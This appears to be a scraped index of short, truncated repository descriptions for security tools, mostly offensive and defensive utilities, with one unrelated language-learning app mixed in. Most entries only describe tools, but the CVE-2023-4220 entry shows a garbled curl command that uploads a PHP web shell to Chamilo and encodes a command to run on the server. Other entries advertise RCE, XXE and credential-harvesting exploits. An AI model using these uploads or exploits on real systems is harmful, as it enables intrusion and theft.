gha-lab-a5c1876997-1

关于 KanaDojo | 截图 | UI 与设计理念 | 技术栈 | 快速开始 | 项目结构 | 参与贡献 | 许可证 | 致谢 | 联系与链接 KanaDojo 支持多语言，感谢社区贡献： English / Español / Français in progress / Deutsch / Português / Türkçe / 中文（简体）/ 中文（繁體） / हिन्दी / العربية / Русский KanaDojo かな道場 一个美学化、极简且高度可定制的日语学习平台 📖 关于 KanaDojo KanaDojo 是一款有趣的 Web...

cypherhound

CypherHound 一款Python3终端应用程序，包含用于BloodHound数据集的Neo4j Cypher查询，并附带一个脚本，可自动将这些查询导入BloodHound CE。 输出样例 终端 HTML报表 HTML报表（续） 为什么？ BloodHound 是每位渗透测试人员的必备工具。然而，它的设计也带来了一些负面影响。以下是我遇到的最棘手的痛点，以及本工具旨在解决的问题： 1. 我的工具以列表形式思考 – 在我的工具能解析导出的JSON图之前，我需要将图结果以逐行格式的.txt文件呈现， 才能从其他工具中实际攻击目标 。 2. 复制/粘贴图结果 – 这延续了第一点，但...

cypherhound

CypherHound A Python3 terminal application that contains Neo4j cyphers for BloodHound data sets with a script to automate importing them into BloodHound CE. Output Samples Terminal HTML Report HTML Report continued Why? BloodHound is a staple tool for every penetration tester. However, there are...

Apache-HTTP-Server-2.4.50-RCE

Apache-HTTP-Server-2.4.50-RCE This tool is designed to test Apache servers for the CVE-2021-41773 / CVE-2021-42013 vulnerability. It is intended for educational purposes only and should be used responsibly on systems you have explicit permission to test. Installation: Clone the repository:...

CVE-2020-13925

CVE-2020-13925 Environment Setup Refer to https://github.com/apache/kylin to deploy using Docker, and change the version to 3.0.1 the vulnerable version. You can remove -m 8G \ it controls the allocated memory size. Then visit http://host:7070/kylin/login. The default username and password are...

bulwark

An organizational asset and vulnerability management tool, with Jira integration, designed for generating application security reports. Features Multi-client Vulnerability Management Security Report Generation Jira Integration Team-based Roles Authorization API Key & Management Email Integration...

bulwark

一款组织资产与漏洞管理工具，集成 Jira，专为生成应用安全报告而设计。 功能特性 多客户端漏洞管理 安全报告生成 Jira 集成 基于团队的角色授权 API 密钥与管理 电子邮件集成 Markdown 支持 用户激活/停用（管理员） 注意 请注意，该项目正处于早期开发阶段。 演示 Jira 集成 使用 Docker 启动 1. 安装 Docker 2. 创建一个 .env 文件并提供以下属性： root@kitploit: MYSQLDATABASE="bulwark" MYSQLPASSWORD="bulwark" MYSQLROOTPASSWORD="bulwark"...

talos

Chat · Discussions · Newsletter · Docs · Try Ory Network · Jobs Ory Talos is a scalable and secure API key server optimized for low-latency verification, horizontal scaling, and predictable operations. It follows established security best-practices for API keys and issues, verifies, revokes, and...

agentic-threat-hunting-framework

Agentic Threat Hunting Framework ATHF Quick Start • Installation • Documentation • Examples Give your threat hunting program memory and agency. The Agentic Threat Hunting Framework ATHF is the memory and automation layer for your threat hunting program. It gives your hunts structure, persistence,...

L0p4Map

L0p4Map Nmap曾盲目，L0p4Map洞察秋毫。 面向安全研究人员的专业级网络监控与可视化工具。 https://github.com/user-attachments/assets/745eb888-0636-47e8-9293-38a706a8e897 L0p4Map 是什么？ L0p4Map 是一款专业级网络监控工具，将 nmap 的强大功能与简洁现代的深色用户界面相结合。专为需要快速、详细掌握基础设施状况的安全研究人员和网络管理员设计。 无冗余，无废话，只有纯粹的网络情报。 现已支持 Linux、Windows 和 macOS。 功能特性 多平台支持 ：在...

catalyst

Catalyst Speed up your reactions Website - The Catalyst Handbook Documentation - Demo Catalyst is an incident response platform. It can help to automate your alert handling and incident response procedures. Features Ticket Alert & Incident Management Tickets are the core of Catalyst. They...

piraterf

🏴‍☠️ PIrateRF - Software-Defined Radio Transmission Platform PIrateRF transforms your Raspberry Pi Zero W into a portable RF signal generator that spawns its own WiFi hotspot. Control everything from FM broadcasts to digital modes through your browser - hack the airwaves from anywhere! 📡⚡ 🎬 Click...

crx-scouter

crx-scouter.js 基于前端指纹可以探测到我们正在使用哪些 Chrome 插件扩展，可以检测电脑那端的人是帅气的大黑客还是高端的程序员🐱，被用于蜜罐、人机识别、用户画像、广告屏蔽对抗、插件漏洞利用的前置检查等场景: Chrome的安全设计在这五年间有了新的变化，Google视乎想解决这个问题，但是收效甚微，2021年对Chrome相关特性的分析可以阅读 《点我的链接我就能知道你用了哪些 chrome 插件 - IN 2021》 📚 检测原理可参考我们2016年的文章，他有一个符合乌云时代的名字: 《点我的链接我就能知道你用了哪些 chrome 插件》 ✨ |・ω・｀ 在线检测地...

AIOstack

AI agents always look authorized. AIOStack tells you when they're not. AI agents act on behalf of users. They use real credentials, make real API calls, invoke tools, access APIs, and touch production systems. Most security tools see this activity as legitimate because, technically, it is. The re...

CVE-2023-4220

CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...

CVE-2024-34102-CosmicSting-XXE-in-Adobe-Commerce-and-Magento

CosmicSting: critical unauthenticated XXE vulnerability in Adobe Commerce and Magento CVE-2024-34102 CVE-2024-34102 is a severe security flaw arising from improper handling of nested deserialization in Adobe Commerce and Magento. This vulnerability permits attackers to exploit XML External Entiti...

OpenMalleableC2

OpenMalleableC2 Open Source Implementation of Cobalt Strike's Malleable C2 OpenMalleableC2 is a framework-agnostic library that implements Cobalt Strike's Malleable C2 profile format for HTTP transformations. It enables security researchers and red teams to easily implement malleable C2...

SCCMSecrets

SCCMSecrets SCCMSecrets.py 是一款 SCCM 策略利用工具。它不仅仅提取 NAA 凭据，还旨在提供一种针对 SCCM 策略利用的综合性方法。该工具可以在不同权限级别下执行，并尝试发现与策略分发相关的潜在错误配置。有关该工具及其用法的更多详细信息，请参阅相关文章： https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial 提供两个子命令：policies 和 files。...

Graver

Graver 説明 Grav CMS CVE-2024-28116 の認証されたSSTI+RCEを悪用するPoCスクリプトです。 脆弱なGrav CMSが動作しているサーバーに悪意のあるRCEページを作成します。 参考文献: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 注意事項 認証された脆弱性であるため、Grav CMSの編集者ユーザーの有効な認証情報（スクリプトにハードコード）を使用する必要があります。 使用方法 以下にツールの使用例を示します： root@kitploit: python3 graver.py -t -p...

exploit-cve-2018-7448

exploit-cve-2018-7448 Purpose This is a python script to automate CMS Made Simple 2.1.6 - Remote Code Execution - CVE-2018-7448. It was created based on https://www.exploit-db.com/exploits/44192. Usage root@kitploit: python3 exploit-CVE-2018-7448.py -t 127.0.0.1/cmsms -d cms -u root -p password...